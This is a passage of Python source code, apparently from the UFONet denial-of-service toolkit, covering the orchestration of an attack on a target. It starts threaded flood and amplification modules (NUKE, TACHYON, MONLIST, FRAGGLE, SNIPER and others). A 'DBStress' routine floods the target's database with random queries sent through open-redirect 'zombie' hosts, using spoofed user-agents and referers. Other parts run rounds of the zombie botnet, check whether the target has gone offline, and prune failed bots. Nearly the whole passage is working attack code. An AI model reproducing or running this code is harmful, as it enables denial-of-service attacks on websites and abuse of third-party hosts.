  4764. if self.options.nuke < 1:
  4765. self.options.nuke = 10000
  4766. self.instance = NUKE() # instance main class for NUKE operations
  4767. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4768. self.t7.daemon = True # extra weapons are threaded as daemons
  4769. self.t7.start()
  4770. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4771. else:
  4772. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4773. if tachyon:
  4774. try:
  4775. self.options.tachyon = int(tachyon)
  4776. except:
  4777. self.options.tachyon = 1000 # default TACHYON requests
  4778. if self.options.tachyon < 1:
  4779. self.options.tachyon = 1000
  4780. self.instance = TACHYON() # instance main class for TACHYON operations
  4781. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4782. self.t8.daemon = True
  4783. self.t8.start()
  4784. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4785. if monlist:
  4786. try:
  4787. self.options.monlist = int(monlist)
  4788. except:
  4789. self.options.monlist = 1000 # default MONLIST requests
  4790. if self.options.monlist < 1:
  4791. self.options.monlist = 1000
  4792. self.instance = MONLIST() # instance main class for MONLIST operations
  4793. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4794. self.t9.daemon = True
  4795. self.t9.start()
  4796. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4797. if ufoack:
  4798. try:
  4799. self.options.ufoack = int(ufoack)
  4800. except:
  4801. self.options.ufoack = 101 # default UFOACK requests
  4802. if self.options.ufoack < 1:
  4803. self.options.ufoack = 101
  4804. self.instance = UFOACK() # instance main class for UFOACK operations
  4805. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  4806. self.t10.daemon = True
  4807. self.t10.start()
  4808. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  4809. if uforst:
  4810. try:
  4811. self.options.uforst = int(uforst)
  4812. except:
  4813. self.options.uforst = 101 # default UFORST requests
  4814. if self.options.uforst < 1:
  4815. self.options.uforst = 101
  4816. self.instance = UFORST() # instance main class for UFORST operations
  4817. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  4818. self.t11.daemon = True
  4819. self.t11.start()
  4820. self.update_uforst_stats() # add new UFORST attack to mothership stats
  4821. if droper:
  4822. try:
  4823. self.options.droper = int(droper)
  4824. except:
  4825. self.options.droper = 101 # default DROPER requests
  4826. if self.options.droper < 1:
  4827. self.options.droper = 101
  4828. self.instance = DROPER() # instance main class for DROPER operations
  4829. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  4830. self.t12.daemon = True
  4831. self.t12.start()
  4832. self.update_droper_stats() # add new DROPER attack to mothership stats
  4833. if overlap:
  4834. try:
  4835. self.options.overlap = int(overlap)
  4836. except:
  4837. self.options.overlap = 101 # default OVERLAP requests
  4838. if self.options.overlap < 1:
  4839. self.options.overlap = 101
  4840. self.instance = OVERLAP() # instance main class for OVERLAP operations
  4841. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  4842. self.t13.daemon = True
  4843. self.t13.start()
  4844. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  4845. if pinger:
  4846. try:
  4847. self.options.pinger = int(pinger)
  4848. except:
  4849. self.options.pinger = 101 # default PINGER requests
  4850. if self.options.pinger < 1:
  4851. self.options.pinger = 101
  4852. self.instance = PINGER() # instance main class for PINGER operations
  4853. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  4854. self.t14.daemon = True
  4855. self.t14.start()
  4856. self.update_pinger_stats() # add new PINGER attack to mothership stats
  4857. if ufoudp:
  4858. try:
  4859. self.options.ufoudp = int(ufoudp)
  4860. except:
  4861. self.options.ufoudp = 101 # default UFOUDP requests
  4862. if self.options.ufoudp < 1:
  4863. self.options.ufoudp = 101
  4864. self.instance = UFOUDP() # instance main class for UFOUDP operations
  4865. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  4866. self.t15.daemon = True
  4867. self.t15.start()
  4868. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  4869. if fraggle:
  4870. try:
  4871. self.options.fraggle = int(fraggle)
  4872. except:
  4873. self.options.fraggle = 101 # default FRAGGLE requests
  4874. if self.options.fraggle < 1:
  4875. self.options.fraggle = 101
  4876. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  4877. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  4878. self.t16.daemon = True
  4879. self.t16.start()
  4880. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  4881. if sniper:
  4882. try:
  4883. self.options.sniper = int(sniper)
  4884. except:
  4885. self.options.sniper = 101 # default SNIPER requests
  4886. if self.options.sniper < 1:
  4887. self.options.sniper = 101
  4888. self.instance = SNIPER() # instance main class for SNIPER operations
  4889. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  4890. self.t17.daemon = True
  4891. self.t17.start()
  4892. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  4893. def stressing(self, target, zombie):
  4894. # perform a DDoS Web attack against a target, requesting records on target's database
  4895. options = self.options
  4896. db_input = self.options.dbstress
  4897. def random_key(length):
  4898. key = ''
  4899. for i in range(length):
  4900. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4901. return key
  4902. # generating random alphanumeric queries
  4903. if self.db_flash > 9: # set db flash start on: 10
  4904. length = 1024 # search a heavy random length query (db flash): 1024
  4905. self.db_flash = 0 # reset db flash counter
  4906. else:
  4907. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4908. key = str(random_key(length))
  4909. if self.db_flash > 9:
  4910. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4911. else:
  4912. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4913. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4914. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4915. if not target.endswith('/'): # add "/" to end of target
  4916. target = target + "/"
  4917. url = zombie + target + db_input + key
  4918. req = urllib.request.Request(url, None, headers)
  4919. if options.proxy: # set proxy
  4920. self.proxy_transport(options.proxy)
  4921. try:
  4922. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4923. except urllib.error.HTTPError as e:
  4924. if e.code == 401:
  4925. print('[Info] [DBStress] Not authorized')
  4926. elif e.code == 404:
  4927. print('[Info] [DBStress] Not found')
  4928. elif e.code == 503:
  4929. print('[Info] [DBStress] Service unavailable')
  4930. else:
  4931. print('[Info] [DBStress] Unknown error')
  4932. else:
  4933. print('[Info] [DBStress] Database query: HIT!')
  4934. def attackme(self, zombies):
  4935. # perform a DDoS Web attack against yourself
  4936. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4937. print('='*21 + "\n")
  4938. self.doll=Doll(self)
  4939. self.doll.start()
  4940. while not self.doll._armed:
  4941. time.sleep(1)
  4942. # send Open Redirect injection (multiple zombies-multiple target urls)
  4943. target = ""
  4944. self.injection(target, zombies)
  4945. self.doll.shutdown()
  4946. self.doll.join()
  4947. self.herd.list_fails()
  4948. def check_target_status(self):
  4949. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4950. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4951. if not self.options.forceyes:
  4952. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4953. print("\n" + '-'*25)
  4954. else:
  4955. update_reply = "N"
  4956. if update_reply == "y" or update_reply == "Y":
  4957. try: # send HEAD connection
  4958. self.head = True
  4959. reply = self.connect_zombie(target)
  4960. self.head = False
  4961. if reply:
  4962. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4963. else:
  4964. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4965. self.update_targets_crashed() # update targets crashed stats
  4966. self.update_mothership_stats() # update mothership completed attack stats
  4967. except Exception:
  4968. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4969. if DEBUG == True:
  4970. traceback.print_exc()
  4971. return
  4972. else:
  4973. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4974. self.update_targets_crashed() # update targets crashed stats
  4975. self.update_mothership_stats() # update mothership completed attack stats
  4976. return
  4977. def starting_target_check(self, target, head_check):
  4978. options = self.options
  4979. head_check_here = False
  4980. head_check_external = False
  4981. if options.disablehead: # check at start is disabled (skipping!)
  4982. print("[Info] [AI] Skipping external check...\n")
  4983. head_check_here = True
  4984. head_check_external = True
  4985. else:
  4986. if head_check:
  4987. if not options.attackme:
  4988. print("[AI] Launching: 'Is target up?' check...\n")
  4989. try: # send HEAD connection
  4990. self.head = True
  4991. reply = self.connect_zombie(target)
  4992. self.head = False
  4993. if reply:
  4994. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4995. head_check_here = True
  4996. else:
  4997. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4998. head_check_here = False
  4999. except Exception:
  5000. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5001. if DEBUG == True:
  5002. traceback.print_exc()
  5003. head_check_here = False
  5004. else: # check if local IP/PORT is listening on mothership
  5005. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5006. try:
  5007. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5008. result = sock.connect_ex(('0.0.0.0',8080))
  5009. if result == 0 or result == 110: # black magic
  5010. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5011. head_check_here = True
  5012. else:
  5013. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5014. head_check_here = False
  5015. except Exception:
  5016. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5017. if DEBUG == True:
  5018. traceback.print_exc()
  5019. head_check_here = False
  5020. else:
  5021. head_check_here = True
  5022. # check target using external check services
  5023. self.external = True
  5024. if not options.attackme:
  5025. try:
  5026. target = self.parse_url_encoding(target) # parse for proper url encoding
  5027. try:
  5028. url = self.external_check_service1 + target # check from external service [1]
  5029. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5030. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5031. if options.proxy: # set proxy
  5032. self.proxy_transport(options.proxy)
  5033. req = urllib.request.Request(url, None, headers)
  5034. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5035. if b"returned code 200 OK and is up" in external_reply:
  5036. t = urlparse(self.external_check_service1)
  5037. name_external1 = t.netloc
  5038. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5039. head_check_external = True
  5040. except:
  5041. url = self.external_check_service2 + target # check from external service [2]
  5042. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5043. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5044. if options.proxy: # set proxy
  5045. self.proxy_transport(options.proxy)
  5046. req = urllib.request.Request(url, None, headers)
  5047. try:
  5048. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5049. if b"It's just you" in req_reply:
  5050. t = urlparse(self.external_check_service2)
  5051. name_external2 = t.netloc
  5052. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5053. head_check_external = True
  5054. else:
  5055. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5056. head_check_external = False
  5057. except urllib.error.HTTPError as e:
  5058. if e:
  5059. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5060. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5061. head_check_external = False
  5062. except Exception:
  5063. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5064. if DEBUG == True:
  5065. traceback.print_exc()
  5066. head_check_external = False
  5067. else:
  5068. try: # check mothership from public ip / NAT using HEAD request
  5069. try:
  5070. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5071. reply = urllib.request.urlopen(req)
  5072. except Exception:
  5073. reply = None
  5074. if reply:
  5075. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5076. head_check_external = True
  5077. else:
  5078. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5079. head_check_external = False
  5080. head_check_here = False # stop attack if not public IP available
  5081. except Exception:
  5082. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5083. head_check_here = False # stop attack if not public IP available
  5084. if DEBUG == True:
  5085. traceback.print_exc()
  5086. head_check_external = False
  5087. self.external = False
  5088. return head_check_here, head_check_external
  5089. def injection(self, target, zombies, head_check = True):
  5090. options = self.options
  5091. # check target's integrity at start
  5092. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5093. # ask user to confirm the attack
  5094. if head_check_here == True or head_check_external == True:
  5095. if not self.options.forceyes:
  5096. if not options.attackme:
  5097. if not options.disablehead:
  5098. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5099. else:
  5100. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5101. else:
  5102. if not options.disablehead:
  5103. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5104. else:
  5105. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5106. else:
  5107. start_reply = "Y"
  5108. if start_reply == "y" or start_reply == "Y":
  5109. if options.attackme:
  5110. total_rounds = 2 # default rounds for attackme
  5111. else:
  5112. total_rounds = options.rounds # extract number of rounds
  5113. try:
  5114. total_rounds = int(total_rounds)
  5115. except:
  5116. total_rounds = 1
  5117. if not total_rounds:
  5118. total_rounds = 1
  5119. if total_rounds <= 0:
  5120. total_rounds = 1
  5121. self.herd.cleanup()
  5122. num_round = 1
  5123. num_hits = 0
  5124. num_zombie = 1
  5125. # start to attack the target with [MODS]
  5126. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5127. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5128. ex.daemon = True # extra weapons are threaded as daemons
  5129. ex.start()
  5130. # start to attack the target with [ARMY]
  5131. zombies = self.extract_zombies() # extract zombies from file
  5132. if zombies:
  5133. self.total_zombie = len(zombies)
  5134. else:
  5135. self.total_zombie = 0
  5136. return
  5137. self.herd=Herd(self)
  5138. if not self.options.disablepurge:
  5139. self.discardzombies = []
  5140. self.discard_aliens = []
  5141. self.discard_droids = []
  5142. self.discard_rpcs = []
  5143. self.discard_ucavs = []
  5144. total_disc_zombies = 0
  5145. self.num_discard_zombies = 0
  5146. self.num_discard_aliens = 0
  5147. self.num_discard_droids = 0
  5148. self.num_discard_rpcs = 0
  5149. self.num_discard_ucavs = 0
  5150. self.empty_zombies = False
  5151. for i in range(0, int(total_rounds)): # start attacking using rounds
  5152. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5153. print('='*42)
  5154. print('Starting round:', num_round, ' of ', total_rounds)
  5155. print('='*42)
  5156. self.herd.reset()
  5157. self.extra_zombies_lock = True
  5158. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5159. self.send_zombies(zombies) # send [Zombies]
  5160. if not self.options.attackme:
  5161. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5162. if self.options.verbose:
  5163. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5164. self.send_extra_zombies() # send [ARMY]
  5165. while self.extra_zombies_lock == True:
  5166. time.sleep(1) # wait for [ARMY] to return
  5167. if self.options.verbose:
  5168. print("\n" + '='*42)
  5169. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5170. else:
  5171. zombies_lock = 0
  5172. if self.options.expire: # set timing for purge
  5173. try:
  5174. timing = int(self.options.expire)
  5175. except:
  5176. timing = self.expire_timing # default timing for purge
  5177. else:
  5178. timing = self.expire_timing # default timing for purge
  5179. if timing < 1:
  5180. timing = self.expire_timing # default timing for purge
  5181. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5182. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5183. zombies_lock = zombies_lock + 1
  5184. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5185. if self.options.verbose:
  5186. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5187. break
  5188. else:
  5189. time.sleep(1)
  5190. if self.options.verbose:
  5191. print("\n" + '='*42)
  5192. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5193. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5194. self.check_target_status()
  5195. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5196. self.abandoning_zombies() # check for abandoning zombies
  5197. for zombie in self.herd.done: # check for num hits
  5198. if self.herd.connection_failed(zombie) == False:
  5199. num_hits = num_hits + 1
  5200. num_zombie = num_zombie + 1
  5201. if num_zombie > self.total_zombie:
  5202. num_zombie = 1
  5203. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5204. check_is_loading = self.check_is_loading(target)
  5205. self.herd.dump_html()
  5206. if not self.options.disablepurge:
  5207. if self.empty_zombies == True:
  5208. break # exit routine when not any more zombies
  5209. num_round = num_round + 1
  5210. if self.options.verbose:
  5211. print("\n" + '='*42)
  5212. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5213. if self.options.loic: # try to stop daemons/threads for extra weapons
  5214. self.t1.join()
  5215. if self.options.loris:
  5216. self.t2.join()
  5217. if self.options.ufosyn:
  5218. self.t3.join()
  5219. if self.options.spray:
  5220. self.t4.join()
  5221. if self.options.smurf:
  5222. self.t5.join()
  5223. if self.options.xmas:
  5224. self.t6.join()
  5225. if self.options.nuke:
  5226. self.t7.join()
  5227. if self.options.tachyon:
  5228. self.t8.join()
  5229. if self.options.monlist:
  5230. self.t9.join()
  5231. if self.options.ufoack:
  5232. self.t10.join()
  5233. if self.options.uforst:
  5234. self.t11.join()
  5235. if self.options.droper:
  5236. self.t12.join()
  5237. if self.options.overlap:
  5238. self.t13.join()
  5239. if self.options.pinger:
  5240. self.t14.join()
  5241. if self.options.ufoudp:
  5242. self.t15.join()
  5243. if self.options.fraggle:
  5244. self.t16.join()
  5245. if self.options.sniper:
  5246. self.t17.join()
  5247. if self.options.target_list:
  5248. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5249. print ("\x1b[2J\x1b[H") # black magic
  5250. if not self.options.attackme: # show herd results
  5251. self.herd.dump()
  5252. else: # show doll results
  5253. print('='*21)
  5254. print("\n[Info] [AI] Mothership transmission...\n")
  5255. num_real_zombies = len(self.doll.real_zombies)
  5256. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5257. for z in self.doll.real_zombies: # show only alien verified zombies
  5258. for x in z:
  5259. print(" - " + str(x))
  5260. self.herd.dump_html(True) # show (all) zombies statistics
  5261. if not self.options.attackme:
  5262. if not self.options.disablepurge:
  5263. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5264. else:
  5265. if not options.target_list:
  5266. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5267. else:
  5268. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5269. self.update_mothership_stats() # update mothership stats
  5270. if not self.options.disablepurge:
  5271. print('='*21+ "\n")
  5272. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5273. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5274. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5275. elif total_disc_zombies > 1:
  5276. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5277. if self.num_discard_zombies > 0:
  5278. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5279. if self.num_discard_aliens > 0:
  5280. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5281. if self.num_discard_droids > 0:
  5282. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5283. if self.num_discard_rpcs > 0:
  5284. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5285. if self.num_discard_ucavs > 0:
  5286. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5287. if total_disc_zombies > 0:
  5288. if not self.options.forceyes:
  5289. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5290. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  5291. elif total_disc_zombies > 1:
  5292. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  5293. else:
  5294. backup_reply = "Y"
  5295. if backup_reply == "y" or backup_reply == "Y":
  5296. print("\n[Info] [AI] Purging failed units from files...\n")
  5297. discarded = []
  5298. if self.num_discard_zombies > 0:
  5299. for z in self.discardzombies:
  5300. discarded.append(z)
  5301. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  5302. if self.num_discard_aliens > 0:
  5303. for a in self.discard_aliens:
  5304. discarded.append(a)
  5305. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  5306. if self.num_discard_droids > 0:
  5307. for d in self.discard_droids:
  5308. discarded.append(d)
  5309. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  5310. if self.num_discard_rpcs > 0:
  5311. for r in self.discard_rpcs:
  5312. discarded.append(r)
  5313. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  5314. if self.num_discard_ucavs > 0:
  5315. for u in self.discard_ucavs:
  5316. discarded.append(u)
  5317. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  5318. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5319. if disc_zombies > 0 and disc_zombies < 2:
  5320. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  5321. elif disc_zombies > 1:
  5322. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  5323. if not self.options.target_list:
  5324. print('-'*21+ "\n")
  5325. print("[AI] "+self.exit_msg+"\n")
  5326. if not self.options.web:
  5327. return
  5328. else:
  5329. if self.num_target_list > 0: # still more targets
  5330. print('-'*21+ "\n")
  5331. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  5332. return
  5333. else: # finish attack from multiple targets
  5334. print('-'*21+ "\n")
  5335. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  5336. print("\n"+ '='*21+ "\n")
  5337. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  5338. print("\n"+ '-'*21+ "\n")
  5339. print("[AI] "+self.exit_msg+"\n")
  5340. if not self.options.web:
  5341. return
  5342. else:
  5343. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  5344. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  5345. if os.path.exists('mothership') == True:
  5346. os.remove('mothership') # remove mothership stream
  5347. if os.path.exists('alien') == True:
  5348. os.remove('alien') # remove random alien worker
  5349. if not options.web:
  5350. sys.exit(2) # exit
  5351. else:
  5352. return
  5353. else:
  5354. print("\n" + '='*21)
  5355. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  5356. if AI_reply == "y" or AI_reply == "Y":
  5357. self.AI() # AI fortune cookie
  5358. print('-'*21+ "\n")
  5359. print("\n[AI] "+self.exit_msg+"\n")
  5360. if os.path.exists('mothership') == True:
  5361. os.remove('mothership') # remove mothership stream
  5362. if os.path.exists('alien') == True:
  5363. os.remove('alien') # remove random alien worker
  5364. if not options.web:
  5365. sys.exit(2) # exit
  5366. else:
  5367. return
  5368. else:
  5369. if not options.attackme:
  5370. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  5371. else:
  5372. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  5373. print("\n" + '-'*21)
  5374. print("\n[AI] "+self.exit_msg+"\n")
  5375. if os.path.exists('mothership') == True:
  5376. os.remove('mothership') # remove mothership stream
  5377. if os.path.exists('alien') == True:
  5378. os.remove('alien') # remove random alien worker
  5379. return
  5380. if __name__ == "__main__":
  5381. app = UFONet()
  5382. options = app.create_options()
  5383. if options:
  5384. app.run()